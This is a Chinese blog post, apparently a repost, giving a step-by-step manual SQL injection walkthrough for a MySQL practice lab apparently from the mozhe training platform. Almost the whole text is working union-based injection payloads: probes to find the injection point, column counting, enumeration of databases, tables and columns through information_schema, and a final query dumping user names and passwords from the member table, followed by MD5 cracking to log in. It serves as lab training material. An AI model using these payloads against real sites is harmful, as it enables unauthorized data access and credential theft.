80、SQL手工注入漏洞测试(MySQL数据库)

原文引用https://www.dazhuanlan.com/2019/08/25/5d62593d1d0a1/


访问网页,进入登陆下方的滚动公告,进行测试注入点
?id=1 and 1=1返回正常,?id=1 and 1=2 返回错误,说明有注入点。

?id=1 order by 5查询列数。一直减少,直到页面返回正常

?id=1 and 1=2 union select 1,version(),database(),4查询版本和数据库名称
(此时知道数据库为mozhe_Discuz_StormGroup)

?id=1 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 0,1查询数据库,使用limit0,1表示从第0行开始取1行数据。

?id=1 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1查询数据库,使用limit 1,1表示从第1行开始取1行数据。

?id=1 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 2,1查询数据库,使用limit 2,1表示从第2行开始取1行数据。

?id=1 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 3,1查询数据库,使用limit 3,1表示从第3行开始取1行数据。

?id=1 and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 4,1查询数据库,使用limit 4,1表示从第4行开始取1行数据。

?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’ limit 0,1查询mozhe_Discuz_StormGroup的数据库的表的名字,从第0行取一行数据
(此时知道数据库为表为StromGroup_member)

?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’ limit 1,1查询mozhe_Discuz_StormGroup的数据库的表的名字,从第1行取一行数据

?id=1 and 1=2 union select 1,table_name,3,4 from information_schema.tables where table_schema=’mozhe_Discuz_StormGroup’ limit 2,1查询mozhe_Discuz_StormGroup的数据库的表的名字,从第2行取一行数据,返回错误,说明只有2个表。

?id=1 and 1=2 union select 1,column_name,column_type,4 from information_schema.columns where table_name=’StormGroup_member’ limit 0,1查询StormGroup_member的表的字段内容,从第0行取一行数据

?id=1 and 1=2 union select 1,column_name,column_type,4 from information_schema.columns where table_name=’StormGroup_member’ limit 1,1查询StormGroup_member的表的字段内容,从第1行取一行数据

?id=1 and 1=2 union select 1,column_name,column_type,4 from information_schema.columns where table_name=’StormGroup_member’ limit 2,1查询StormGroup_member的表的字段内容,从第2行取一行数据

?id=1 and 1=2 union select 1,column_name,column_type,4 from information_schema.columns where table_name=’StormGroup_member’ limit 3,1查询StormGroup_member的表的字段内容,从第3行取一行数据

?id=1 and 1=2 union select 1,concat(name,’-‘,password,’-‘,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1获取第0行值

?id=1 and 1=2 union select 1,concat(name,’-‘,password,’-‘,status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1获取第1行值

md5解密,登陆得到key。

猜你喜欢

转载自www.cnblogs.com/petewell/p/11408832.html